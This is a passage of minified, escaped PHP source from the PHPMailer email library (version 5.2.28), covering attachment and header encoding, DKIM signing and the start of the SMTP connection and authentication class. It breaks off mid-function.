name=\"%s\"%s',$type,$this->encodeHeader($this->secureHeader($name)),$this->LE);}else{$mime[]=sprintf('Content-Type: %s%s',$type,$this->LE);}if($encoding!='7bit'){$mime[]=sprintf('Content-Transfer-Encoding: %s%s',$encoding,$this->LE);}if($disposition=='inline'){$mime[]=sprintf('Content-ID: <%s>%s',$cid,$this->LE);}if(!(empty($disposition))){$encoded_name=$this->encodeHeader($this->secureHeader($name));if(preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/',$encoded_name)){$mime[]=sprintf('Content-Disposition: %s; filename=\"%s\"%s',$disposition,$encoded_name,$this->LE.$this->LE);}else{if(!empty($encoded_name)){$mime[]=sprintf('Content-Disposition: %s; filename=%s%s',$disposition,$encoded_name,$this->LE.$this->LE);}else{$mime[]=sprintf('Content-Disposition: %s%s',$disposition,$this->LE.$this->LE);}}}else{$mime[]=$this->LE;}if($bString){$mime[]=$this->encodeString($string,$encoding);if($this->isError()){return '';}$mime[]=$this->LE.$this->LE;}else{$mime[]=$this->encodeFile($path,$encoding);if($this->isError()){return '';}$mime[]=$this->LE.$this->LE;}}}$mime[]=sprintf('--%s--%s',$boundary,$this->LE);return implode('',$mime);}protected function encodeFile($path,$encoding='base64'){try{if(!self::isPermittedPath($path)or!file_exists($path)){throw new phpmailerException($this->lang('file_open').$path,self::STOP_CONTINUE);}$magic_quotes=false;if(version_compare(PHP_VERSION,'7.4.0','<')){$magic_quotes=get_magic_quotes_runtime();}if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(false);}else{ini_set('magic_quotes_runtime',false);}}$file_buffer=file_get_contents($path);$file_buffer=$this->encodeString($file_buffer,$encoding);if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);}else{ini_set('magic_quotes_runtime',$magic_quotes);}}return $file_buffer;}catch(Exception $exc){$this->setError($exc->getMessage());return '';}}public function encodeString($str,$encoding='base64'){$encoded='';switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);break;case '7bit':case '8bit':$encoded=$this->fixEOL($str);if(substr($encoded,-(strlen($this->LE)))!=$this->LE){$encoded.=$this->LE;}break;case 'binary':$encoded=$str;break;case 'quoted-printable':$encoded=$this->encodeQP($str);break;default:$this->setError($this->lang('encoding').$encoding);break;}return $encoded;}public function encodeHeader($str,$position='text'){$matchcount=0;switch(strtolower($position)){case 'phrase':if(!preg_match('\/[\\200-\\377]\/',$str)){$encoded=addcslashes($str,\"\\0..\\37\\177\\\\\\\"\");if(($str==$encoded)&&!preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/',$str)){return($encoded);}else{return(\"\\\"$encoded\\\"\");}}$matchcount=preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/',$str,$matches);break;case 'comment':$matchcount=preg_match_all('\/[()\"]\/',$str,$matches);case 'text':default:$matchcount+=preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/',$str,$matches);break;}if($matchcount==0){return($str);}$maxlen=75-7-strlen($this->CharSet);if($matchcount>strlen($str)\/3){$encoding='B';if(function_exists('mb_strlen')&&$this->hasMultiBytes($str)){$encoded=$this->base64EncodeWrapMB($str,\"\\n\");}else{$encoded=base64_encode($str);$maxlen-=$maxlen%4;$encoded=trim(chunk_split($encoded,$maxlen,\"\\n\"));}}else{$encoding='Q';$encoded=$this->encodeQ($str,$position);$encoded=$this->wrapText($encoded,$maxlen,true);$encoded=str_replace('='.self::CRLF,\"\\n\",trim($encoded));}$encoded=preg_replace('\/^(.*)$\/m',' =?'.$this->CharSet.\"?$encoding?\\\\1?=\",$encoded);$encoded=trim(str_replace(\"\\n\",$this->LE,$encoded));return $encoded;}public function hasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));}else{return false;}}public function has8bitChars($text){return (boolean)preg_match('\/[\\x80-\\xFF]\/',$text);}public function base64EncodeWrapMB($str,$linebreak=null){$start='=?'.$this->CharSet.'?B?';$end='?=';$encoded='';if($linebreak===null){$linebreak=$this->LE;}$mb_length=mb_strlen($str,$this->CharSet);$length=75-strlen($start)-strlen($end);$ratio=$mb_length\/strlen($str);$avgLength=floor($length*$ratio*.75);for($i=0;$i<$mb_length;$i+=$offset){$lookBack=0;do{$offset=$avgLength-$lookBack;$chunk=mb_substr($str,$i,$offset,$this->CharSet);$chunk=base64_encode($chunk);$lookBack++;}while(strlen($chunk)>$length);$encoded.=$chunk.$linebreak;}$encoded=substr($encoded,0,-strlen($linebreak));return $encoded;}public function encodeQP($string,$line_max=76){if(function_exists('quoted_printable_encode')){return quoted_printable_encode($string);}$string=str_replace(array('%20','%0D%0A.','%0D%0A','%'),array(' ',\"\\r\\n=2E\",\"\\r\\n\",'='),rawurlencode($string));return preg_replace('\/[^\\r\\n]{'.($line_max-3).'}[^=\\r\\n]{2}\/',\"$0=\\r\\n\",$string);}public function encodeQPphp($string,$line_max=76,$space_conv=false){return $this->encodeQP($string,$line_max);}public function encodeQ($str,$position='text'){$pattern='';$encoded=str_replace(array(\"\\r\",\"\\n\"),'',$str);switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\\\/ -';break;case 'comment':$pattern='\\(\\)\"';case 'text':default:$pattern='\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377'.$pattern;break;}$matches=array();if(preg_match_all(\"\/[{$pattern}]\/\",$encoded,$matches)){$eqkey=array_search('=',$matches[0]);if(false!==$eqkey){unset($matches[0][$eqkey]);array_unshift($matches[0],'=');}foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'='.sprintf('%02X',ord($char)),$encoded);}}return str_replace(' ','_',$encoded);}public function addStringAttachment($string,$filename,$encoding='base64',$type='',$disposition='attachment'){if($type==''){$type=self::filenameToType($filename);}$this->attachment[]=array(0=>$string,1=>$filename,2=>basename($filename),3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>0);}public function addEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if(!self::isPermittedPath($path)or!@is_file($path)){$this->setError($this->lang('file_access').$path);return false;}if($type==''){$type=self::filenameToType($path);}$filename=basename($path);if($name==''){$name=$filename;}$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>$cid);return true;}public function addStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if($type==''and!empty($name)){$type=self::filenameToType($name);}$this->attachment[]=array(0=>$string,1=>$name,2=>$name,3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>$cid);return true;}public function inlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]=='inline'){return true;}}return false;}public function attachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]=='attachment'){return true;}}return false;}public function alternativeExists(){return!empty($this->AltBody);}public function clearQueuedAddresses($kind){$RecipientsQueue=$this->RecipientsQueue;foreach($RecipientsQueue as $address=>$params){if($params[0]==$kind){unset($this->RecipientsQueue[$address]);}}}public function clearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);}$this->to=array();$this->clearQueuedAddresses('to');}public function clearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);}$this->cc=array();$this->clearQueuedAddresses('cc');}public function clearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);}$this->bcc=array();$this->clearQueuedAddresses('bcc');}public function clearReplyTos(){$this->ReplyTo=array();$this->ReplyToQueue=array();}public function clearAllRecipients(){$this->to=array();$this->cc=array();$this->bcc=array();$this->all_recipients=array();$this->RecipientsQueue=array();}public function clearAttachments(){$this->attachment=array();}public function clearCustomHeaders(){$this->CustomHeader=array();}protected function setError($msg){$this->error_count++;if($this->Mailer=='smtp'and!is_null($this->smtp)){$lasterror=$this->smtp->getError();if(!empty($lasterror['error'])){$msg.=$this->lang('smtp_error').$lasterror['error'];if(!empty($lasterror['detail'])){$msg.=' Detail: '.$lasterror['detail'];}if(!empty($lasterror['smtp_code'])){$msg.=' SMTP code: '.$lasterror['smtp_code'];}if(!empty($lasterror['smtp_code_ex'])){$msg.=' Additional SMTP info: '.$lasterror['smtp_code_ex'];}}}$this->ErrorInfo=$msg;}public static function rfcDate(){date_default_timezone_set(@date_default_timezone_get());return date('D, j M Y H:i:s O');}protected function serverHostname(){$result='localhost.localdomain';if(!empty($this->Hostname)){$result=$this->Hostname;}elseif(isset($_SERVER)and array_key_exists('SERVER_NAME',$_SERVER)and!empty($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];}elseif(function_exists('gethostname')&&gethostname()!==false){$result=gethostname();}elseif(php_uname('n')!==false){$result=php_uname('n');}return $result;}protected function lang($key){if(count($this->language)<1){$this->setLanguage('en');}if(array_key_exists($key,$this->language)){if($key=='smtp_connect_failed'){return $this->language[$key].' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';}return $this->language[$key];}else{return $key;}}public function isError(){return($this->error_count>0);}public function fixEOL($str){$nstr=str_replace(array(\"\\r\\n\",\"\\r\"),\"\\n\",$str);if($this->LE!==\"\\n\"){$nstr=str_replace(\"\\n\",$this->LE,$nstr);}return $nstr;}public function addCustomHeader($name,$value=null){if($value===null){$this->CustomHeader[]=explode(':',$name,2);}else{$this->CustomHeader[]=array($name,$value);}}public function getCustomHeaders(){return $this->CustomHeader;}public function msgHTML($message,$basedir='',$advanced=false){preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui',$message,$images);if(array_key_exists(2,$images)){if(strlen($basedir)>1&&substr($basedir,-1)!='\/'){$basedir.='\/';}foreach($images[2]as $imgindex=>$url){if(preg_match('#^data:(image[^;,]*)(;base64)?,#',$url,$match)){$data=substr($url,strpos($url,','));if($match[2]){$data=base64_decode($data);}else{$data=rawurldecode($data);}$cid=md5($url).'@phpmailer.0';if($this->addStringEmbeddedImage($data,$cid,'embed'.$imgindex,'base64',$match[1])){$message=str_replace($images[0][$imgindex],$images[1][$imgindex].'=\"cid:'.$cid.'\"',$message);}continue;}if(!empty($basedir)&&(strpos($url,'..')===false)&&substr($url,0,4)!=='cid:'&&!preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i',$url)){$filename=basename($url);$directory=dirname($url);if($directory=='.'){$directory='';}$cid=md5($url).'@phpmailer.0';if(strlen($directory)>1&&substr($directory,-1)!='\/'){$directory.='\/';}if($this->addEmbeddedImage($basedir.$directory.$filename,$cid,$filename,'base64',self::_mime_types((string)self::mb_pathinfo($filename,PATHINFO_EXTENSION)))){$message=preg_replace('\/'.$images[1][$imgindex].'=[\"\\']'.preg_quote($url,'\/').'[\"\\']\/Ui',$images[1][$imgindex].'=\"cid:'.$cid.'\"',$message);}}}}$this->isHTML(true);$this->Body=$this->normalizeBreaks($message);$this->AltBody=$this->normalizeBreaks($this->html2text($message,$advanced));if(!$this->alternativeExists()){$this->AltBody='To view this email message, open it in a program that understands HTML!'.self::CRLF.self::CRLF;}return $this->Body;}public function html2text($html,$advanced=false){if(is_callable($advanced)){return call_user_func($advanced,$html);}return html_entity_decode(trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si','',$html))),ENT_QUOTES,$this->CharSet);}public static function _mime_types($ext=''){$mimes=array('xl'=>'application\/excel','js'=>'application\/javascript','hqx'=>'application\/mac-binhex40','cpt'=>'application\/mac-compactpro','bin'=>'application\/macbinary','doc'=>'application\/msword','word'=>'application\/msword','xlsx'=>'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet','xltx'=>'application\/vnd.openxmlformats-officedocument.spreadsheetml.template','potx'=>'application\/vnd.openxmlformats-officedocument.presentationml.template','ppsx'=>'application\/vnd.openxmlformats-officedocument.presentationml.slideshow','pptx'=>'application\/vnd.openxmlformats-officedocument.presentationml.presentation','sldx'=>'application\/vnd.openxmlformats-officedocument.presentationml.slide','docx'=>'application\/vnd.openxmlformats-officedocument.wordprocessingml.document','dotx'=>'application\/vnd.openxmlformats-officedocument.wordprocessingml.template','xlam'=>'application\/vnd.ms-excel.addin.macroEnabled.12','xlsb'=>'application\/vnd.ms-excel.sheet.binary.macroEnabled.12','class'=>'application\/octet-stream','dll'=>'application\/octet-stream','dms'=>'application\/octet-stream','exe'=>'application\/octet-stream','lha'=>'application\/octet-stream','lzh'=>'application\/octet-stream','psd'=>'application\/octet-stream','sea'=>'application\/octet-stream','so'=>'application\/octet-stream','oda'=>'application\/oda','pdf'=>'application\/pdf','ai'=>'application\/postscript','eps'=>'application\/postscript','ps'=>'application\/postscript','smi'=>'application\/smil','smil'=>'application\/smil','mif'=>'application\/vnd.mif','xls'=>'application\/vnd.ms-excel','ppt'=>'application\/vnd.ms-powerpoint','wbxml'=>'application\/vnd.wap.wbxml','wmlc'=>'application\/vnd.wap.wmlc','dcr'=>'application\/x-director','dir'=>'application\/x-director','dxr'=>'application\/x-director','dvi'=>'application\/x-dvi','gtar'=>'application\/x-gtar','php3'=>'application\/x-httpd-php','php4'=>'application\/x-httpd-php','php'=>'application\/x-httpd-php','phtml'=>'application\/x-httpd-php','phps'=>'application\/x-httpd-php-source','swf'=>'application\/x-shockwave-flash','sit'=>'application\/x-stuffit','tar'=>'application\/x-tar','tgz'=>'application\/x-tar','xht'=>'application\/xhtml+xml','xhtml'=>'application\/xhtml+xml','zip'=>'application\/zip','mid'=>'audio\/midi','midi'=>'audio\/midi','mp2'=>'audio\/mpeg','mp3'=>'audio\/mpeg','mpga'=>'audio\/mpeg','aif'=>'audio\/x-aiff','aifc'=>'audio\/x-aiff','aiff'=>'audio\/x-aiff','ram'=>'audio\/x-pn-realaudio','rm'=>'audio\/x-pn-realaudio','rpm'=>'audio\/x-pn-realaudio-plugin','ra'=>'audio\/x-realaudio','wav'=>'audio\/x-wav','bmp'=>'image\/bmp','gif'=>'image\/gif','jpeg'=>'image\/jpeg','jpe'=>'image\/jpeg','jpg'=>'image\/jpeg','png'=>'image\/png','tiff'=>'image\/tiff','tif'=>'image\/tiff','eml'=>'message\/rfc822','css'=>'text\/css','html'=>'text\/html','htm'=>'text\/html','shtml'=>'text\/html','log'=>'text\/plain','text'=>'text\/plain','txt'=>'text\/plain','rtx'=>'text\/richtext','rtf'=>'text\/rtf','vcf'=>'text\/vcard','vcard'=>'text\/vcard','xml'=>'text\/xml','xsl'=>'text\/xml','mpeg'=>'video\/mpeg','mpe'=>'video\/mpeg','mpg'=>'video\/mpeg','mov'=>'video\/quicktime','qt'=>'video\/quicktime','rv'=>'video\/vnd.rn-realvideo','avi'=>'video\/x-msvideo','movie'=>'video\/x-sgi-movie');if(array_key_exists(strtolower($ext),$mimes)){return $mimes[strtolower($ext)];}return 'application\/octet-stream';}public static function filenameToType($filename){$qpos=strpos($filename,'?');if(false!==$qpos){$filename=substr($filename,0,$qpos);}$pathinfo=self::mb_pathinfo($filename);return self::_mime_types($pathinfo['extension']);}public static function mb_pathinfo($path,$options=null){$ret=array('dirname'=>'','basename'=>'','extension'=>'','filename'=>'');$pathinfo=array();if(preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im',$path,$pathinfo)){if(array_key_exists(1,$pathinfo)){$ret['dirname']=$pathinfo[1];}if(array_key_exists(2,$pathinfo)){$ret['basename']=$pathinfo[2];}if(array_key_exists(5,$pathinfo)){$ret['extension']=$pathinfo[5];}if(array_key_exists(3,$pathinfo)){$ret['filename']=$pathinfo[3];}}switch($options){case PATHINFO_DIRNAME:case 'dirname':return $ret['dirname'];case PATHINFO_BASENAME:case 'basename':return $ret['basename'];case PATHINFO_EXTENSION:case 'extension':return $ret['extension'];case PATHINFO_FILENAME:case 'filename':return $ret['filename'];default:return $ret;}}public function set($name,$value=''){if(property_exists($this,$name)){$this->$name=$value;return true;}else{$this->setError($this->lang('variable_set').$name);return false;}}public function secureHeader($str){return trim(str_replace(array(\"\\r\",\"\\n\"),'',$str));}public static function normalizeBreaks($text,$breaktype=\"\\r\\n\"){return preg_replace('\/(\\r\\n|\\r|\\n)\/ms',$breaktype,$text);}public function sign($cert_filename,$key_filename,$key_pass,$extracerts_filename=''){$this->sign_cert_file=$cert_filename;$this->sign_key_file=$key_filename;$this->sign_key_pass=$key_pass;$this->sign_extracerts_file=$extracerts_filename;}public function DKIM_QP($txt){$line='';for($i=0;$i<strlen($txt);$i++){$ord=ord($txt[$i]);if(((0x21<=$ord)&&($ord<=0x3A))||$ord==0x3C||((0x3E<=$ord)&&($ord<=0x7E))){$line.=$txt[$i];}else{$line.='='.sprintf('%02X',$ord);}}return $line;}public function DKIM_Sign($signHeader){if(!defined('PKCS7_TEXT')){if($this->exceptions){throw new phpmailerException($this->lang('extension_missing').'openssl');}return '';}$privKeyStr=!empty($this->DKIM_private_string)?$this->DKIM_private_string:file_get_contents($this->DKIM_private);if(''!=$this->DKIM_passphrase){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);}else{$privKey=openssl_pkey_get_private($privKeyStr);}if(version_compare(PHP_VERSION,'5.3.0')>=0 and in_array('sha256WithRSAEncryption',openssl_get_md_methods(true))){if(openssl_sign($signHeader,$signature,$privKey,'sha256WithRSAEncryption')){openssl_pkey_free($privKey);return base64_encode($signature);}}else{$pinfo=openssl_pkey_get_details($privKey);$hash=hash('sha256',$signHeader);$t='3031300d060960864801650304020105000420'.$hash;$pslen=$pinfo['bits']\/8-(strlen($t)\/2+3);$eb=pack('H*','0001'.str_repeat('FF',$pslen).'00'.$t);if(openssl_private_encrypt($eb,$signature,$privKey,OPENSSL_NO_PADDING)){openssl_pkey_free($privKey);return base64_encode($signature);}}openssl_pkey_free($privKey);return '';}public function DKIM_HeaderC($signHeader){$signHeader=preg_replace('\/\\r\\n\\s+\/',' ',$signHeader);$lines=explode(\"\\r\\n\",$signHeader);foreach($lines as $key=>$line){list($heading,$value)=explode(':',$line,2);$heading=strtolower($heading);$value=preg_replace('\/\\s{2,}\/',' ',$value);$lines[$key]=$heading.':'.trim($value);}$signHeader=implode(\"\\r\\n\",$lines);return $signHeader;}public function DKIM_BodyC($body){if($body==''){return \"\\r\\n\";}$body=str_replace(\"\\r\\n\",\"\\n\",$body);$body=str_replace(\"\\n\",\"\\r\\n\",$body);while(substr($body,strlen($body)-4,4)==\"\\r\\n\\r\\n\"){$body=substr($body,0,strlen($body)-2);}return $body;}public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha256';$DKIMcanonicalization='relaxed\/simple';$DKIMquery='dns\/txt';$DKIMtime=time();$subject_header=\"Subject: $subject\";$headers=explode($this->LE,$headers_line);$from_header='';$to_header='';$date_header='';$current='';foreach($headers as $header){if(strpos($header,'From:')===0){$from_header=$header;$current='from_header';}elseif(strpos($header,'To:')===0){$to_header=$header;$current='to_header';}elseif(strpos($header,'Date:')===0){$date_header=$header;$current='date_header';}else{if(!empty($$current)&&strpos($header,' =?')===0){$$current.=$header;}else{$current='';}}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));$to=str_replace('|','=7C',$this->DKIM_QP($to_header));$date=str_replace('|','=7C',$this->DKIM_QP($date_header));$subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));$body=$this->DKIM_BodyC($body);$DKIMlen=strlen($body);$DKIMb64=base64_encode(pack('H*',hash('sha256',$body)));if(''==$this->DKIM_identity){$ident='';}else{$ident=' i='.$this->DKIM_identity.';';}$dkimhdrs='DKIM-Signature: v=1; a='.$DKIMsignatureType.'; q='.$DKIMquery.'; l='.$DKIMlen.'; s='.$this->DKIM_selector.\";\\r\\n\".\"\\tt=\".$DKIMtime.'; c='.$DKIMcanonicalization.\";\\r\\n\".\"\\th=From:To:Date:Subject;\\r\\n\".\"\\td=\".$this->DKIM_domain.';'.$ident.\"\\r\\n\".\"\\tz=$from\\r\\n\".\"\\t|$to\\r\\n\".\"\\t|$date\\r\\n\".\"\\t|$subject;\\r\\n\".\"\\tbh=\".$DKIMb64.\";\\r\\n\".\"\\tb=\";$toSign=$this->DKIM_HeaderC($from_header.\"\\r\\n\".$to_header.\"\\r\\n\".$date_header.\"\\r\\n\".$subject_header.\"\\r\\n\".$dkimhdrs);$signed=$this->DKIM_Sign($toSign);return $dkimhdrs.$signed.\"\\r\\n\";}public static function hasLineLongerThanMax($str){return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH+2).',})\/m',$str);}public function getToAddresses(){return $this->to;}public function getCcAddresses(){return $this->cc;}public function getBccAddresses(){return $this->bcc;}public function getReplyToAddresses(){return $this->ReplyTo;}public function getAllRecipientAddresses(){return $this->all_recipients;}protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from){if(!empty($this->action_function)&&is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);call_user_func_array($this->action_function,$params);}}}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>'.htmlspecialchars($this->getMessage()).\"<\/strong><br \/>\\n\";return $errorMsg;}}class SMTP{const VERSION='5.2.28';const CRLF=\"\\r\\n\";const DEFAULT_SMTP_PORT=25;const MAX_LINE_LENGTH=998;const DEBUG_OFF=0;const DEBUG_CLIENT=1;const DEBUG_SERVER=2;const DEBUG_CONNECTION=3;const DEBUG_LOWLEVEL=4;public $Version='5.2.28';public $SMTP_PORT=25;public $CRLF=\"\\r\\n\";public $do_debug=self::DEBUG_OFF;public $Debugoutput='echo';public $do_verp=false;public $Timeout=300;public $Timelimit=300;protected $smtp_transaction_id_patterns=array('exim'=>'\/[0-9]{3} OK id=(.*)\/','sendmail'=>'\/[0-9]{3} 2.0.0 (.*) Message\/','postfix'=>'\/[0-9]{3} 2.0.0 Ok: queued as (.*)\/');protected $last_smtp_transaction_id;protected $smtp_conn;protected $error=array('error'=>'','detail'=>'','smtp_code'=>'','smtp_code_ex'=>'');protected $helo_rply=null;protected $server_caps=null;protected $last_reply='';protected function edebug($str,$level=0){if($level>$this->do_debug){return;}if(!in_array($this->Debugoutput,array('error_log','html','echo'))and is_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$level);return;}switch($this->Debugoutput){case 'error_log':error_log($str);break;case 'html':echo gmdate('Y-m-d H:i:s').' '.htmlentities(preg_replace('\/[\\r\\n]+\/','',$str),ENT_QUOTES,'UTF-8').\"<br>\\n\";break;case 'echo':default:$str=preg_replace('\/(\\r\\n|\\r|\\n)\/ms',\"\\n\",$str);echo gmdate('Y-m-d H:i:s').\"\\t\".str_replace(\"\\n\",\"\\n                   \\t                  \",trim($str)).\"\\n\";}}public function connect($host,$port=null,$timeout=30,$options=array()){static $streamok;if(is_null($streamok)){$streamok=function_exists('stream_socket_client');}$this->setError('');if($this->connected()){$this->setError('Already connected to a server');return false;}if(empty($port)){$port=self::DEFAULT_SMTP_PORT;}$this->edebug(\"Connection: opening to $host:$port, timeout=$timeout, options=\".var_export($options,true),self::DEBUG_CONNECTION);$errno=0;$errstr='';if($streamok){$socket_context=stream_context_create($options);set_error_handler(array($this,'errorHandler'));$this->smtp_conn=stream_socket_client($host.\":\".$port,$errno,$errstr,$timeout,STREAM_CLIENT_CONNECT,$socket_context);restore_error_handler();}else{$this->edebug(\"Connection: stream_socket_client not available, falling back to fsockopen\",self::DEBUG_CONNECTION);set_error_handler(array($this,'errorHandler'));$this->smtp_conn=fsockopen($host,$port,$errno,$errstr,$timeout);restore_error_handler();}if(!is_resource($this->smtp_conn)){$this->setError('Failed to connect to server',$errno,$errstr);$this->edebug('SMTP ERROR: '.$this->error['error'].\": $errstr ($errno)\",self::DEBUG_CLIENT);return false;}$this->edebug('Connection: opened',self::DEBUG_CONNECTION);if(substr(PHP_OS,0,3)!='WIN'){$max=ini_get('max_execution_time');if($max!=0&&$timeout>$max){@set_time_limit($timeout);}stream_set_timeout($this->smtp_conn,$timeout,0);}$announce=$this->get_lines();$this->edebug('SERVER -> CLIENT: '.$announce,self::DEBUG_SERVER);return true;}public function startTLS(){if(!$this->sendCommand('STARTTLS','STARTTLS',220)){return false;}$crypto_method=STREAM_CRYPTO_METHOD_TLS_CLIENT;if(defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')){$crypto_method|=STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;$crypto_method|=STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;}set_error_handler(array($this,'errorHandler'));$crypto_ok=stream_socket_enable_crypto($this->smtp_conn,true,$crypto_method);restore_error_handler();return $crypto_ok;}public function authenticate($username,$password,$authtype=null,$realm='',$workstation='',$OAuth=null){if(!$this->server_caps){$this->setError('Authentication is not allowed before HELO\/EHLO');return false;}if(array_key_exists('EHLO',$this->server_caps)){if(!array_key_exists('AUTH',$this->server_caps)){$this->setError('Authentication is not allowed at this stage');return false;}self::edebug('Auth method requested: '.($authtype?$authtype:'UNKNOWN'),self::DEBUG_LOWLEVEL);self::edebug('Auth methods available on the server: '.implode(',',$this->server_caps['AUTH']),self::DEBUG_LOWLEVEL);if(empty($authtype)){foreach(array('CRAM-MD5','LOGIN','PLAIN','NTLM','XOAUTH2')as $method){if(in_array($method,$this->server_caps['AUTH'])){$authtype=$method;break;}}if(empty($authtype)){$this->setError('No supported authentication methods found');return false;}self::edebug('Auth method selected: '.$authtype,self::DEBUG_LOWLEVEL);}if(!in_array($authtype,$this->server_caps['AUTH'])){$this->setError(\"The requested authentication method \\\"$authtype\\\" is not supported by the server\");return false;}}elseif(empty($authtype)){$authtype='LOGIN';}switch($authtype){case 'PLAIN':if(!$this->sendCommand('AUTH','AUTH PLAIN',334)){return false;}if(!$this->sendCommand('User & Password',base64_encode(\"\\0\".$username.\"\\0\".$password),235)){return false;}break;case 'LOGIN':if(!$this->sendCommand('AUTH','AUTH LOGIN',334)){return false;}if(!$this->sendCommand(\"Username\",base64_encode($username),334)){return false;}if(!$this->sendCommand(\"Password\",base64_encode($password),235)){return false;}break;case 'XOAUTH2':if(is_null($OAuth)){return false;}$oauth=$OAuth->getOauth64();if(!$this->sendCommand('AUTH','AUTH XOAUTH2 '.$oauth,235)){return false;}break;case 'NTLM':require_once 'extras\/ntlm_sasl_client.php';$temp=new stdClass;$ntlm_client=new ntlm_sasl_client_class;if(!$ntlm_client->initialize($temp)){$this->setError($temp->error);$this->edebug('You need to enable some modules in your php.ini file: '.$this->error['error'],self::DEBUG_CLIENT);return false;}$msg1=$ntlm_client->typeMsg1($realm,$workstation);if(!$this->sendCommand('AUTH NTLM','AUTH NTLM '.base64_encode($msg1),334)){return false;}$challenge=substr($this->last_reply,3);$challenge=base64_decode($challenge);$ntlm_res=$ntlm_client->NTLMResponse(substr($challenge,24,8),$password);$msg3=$ntlm_client->typeMsg3($ntlm_res,$username,$realm,$workstation);return $this->sendCommand('Username',base64_encode($msg3),235);case 'CRAM-MD5':if(!$this->sendCommand('AUTH CRAM-MD5','AUTH CRAM-MD5',334)){return false;}$challenge=base64_decode(substr($this->last_reply,4));$response=$username.' '.$this->hmac($challenge,$password);return $this->sendCommand('Username',base64_encode($response),235);default:$this->setError(\"Authentication method \\\"$authtype\\\" is not supported\");return false;}return true;}protected function hmac($data,$key){if(function_exists('hash_hmac')){return hash_hmac('md5',$data,$key);}$bytelen=64;if(strlen($key)>$bytelen){$key=pack('H*',md5($key));}$key=str_pad($key,$bytelen,chr(0x00));$ipad=str_pad('',$bytelen,chr(0x36));$opad=str_pad('',$bytelen,chr(0x5c));$k_ipad=$key^$ipad;$k_opad=$key^$opad;return md5($k_opad.pack('H*',md5($k_ipad.$data)));}public function connected(){if(is_resource($this->smtp_conn)){$sock_status=stream_get_meta_data($this->smtp_conn);if($sock_status['eof']){$this->edebug('SMTP NOTICE: EOF caught while checking if connected',self::DEBUG_CLIENT);$this->close();return false;}return true;}return false;}public function close(){$this->setError('');$this->server_caps=null;$this->helo_rply=null;if(is_resource($this->smtp_conn)){fclose($this->smtp_conn);$this->smtp_conn=null;$this->edebug('Connection: closed',self::DEBUG_CONNECTION);}}public function data($msg_data){if(!$this->sendCommand('DATA','DATA',354)){return false;}$lines=explode(\"\\n\",str_replace(array(\"\\r\\n\",\"\\r\"),\"\\n\",$msg_data));$field=substr($lines[0],0,strpos($lines[0],':'));$in_headers=false;if(!empty($field)&&strpos($field,' ')===false){$in_headers=true;}foreach($lines as $line){$lines_out=array();if($in_headers and $line==''){$in_headers=false;}while(isset($line[self::MAX_LINE_LENGTH])){$pos=strrpos(substr($line,0,self::MAX_LINE_LENGTH),' ');if(!$pos){$pos=self::MAX_LINE_LENGTH-1;$lines_out[]=substr($line,0,$pos);$line=substr($line,$pos);}else{$lines_out[]=substr($line,0,$pos);$line=substr($line,$pos+1);}if($in_headers){$line=\"\\t\".$line;}}$lines_out[]=$line;foreach($lines_out as $line_out){if(!empty($line_out)and $line_out[0]=='.'){$line_out='.'.$line_out;}$this->client_send($line_out.self::CRLF);}}$savetimelimit=$this->Timelimit;$this->Timelimit=$this->Timelimit*2;$result=$this->sendCommand('DATA END','.',250);$this->recordLastTransactionID();$this->Timelimit=$savetimelimit;return $result;}public function hello($host=''){return (boolean)($this->sendHello('EHLO',$host)or $this->sendHello('HELO',$host));}protected function sendHello($hello,$host){$noerror=$this->sendCommand($hello,$hello.' '.$host,250);$this->helo_rply=$this->last_reply;if($noerror){$this->parseHelloFields($hello);}else{$this->server_caps=null;}return $noerror;}protected function parseHelloFields($type){$this->server_caps=array();$lines=explode(\"\\n\",$this->helo_rply);foreach($lines as $n=>$s){$s=trim(substr($s,4));if(empty($s)){continue;}$fields=explode(' 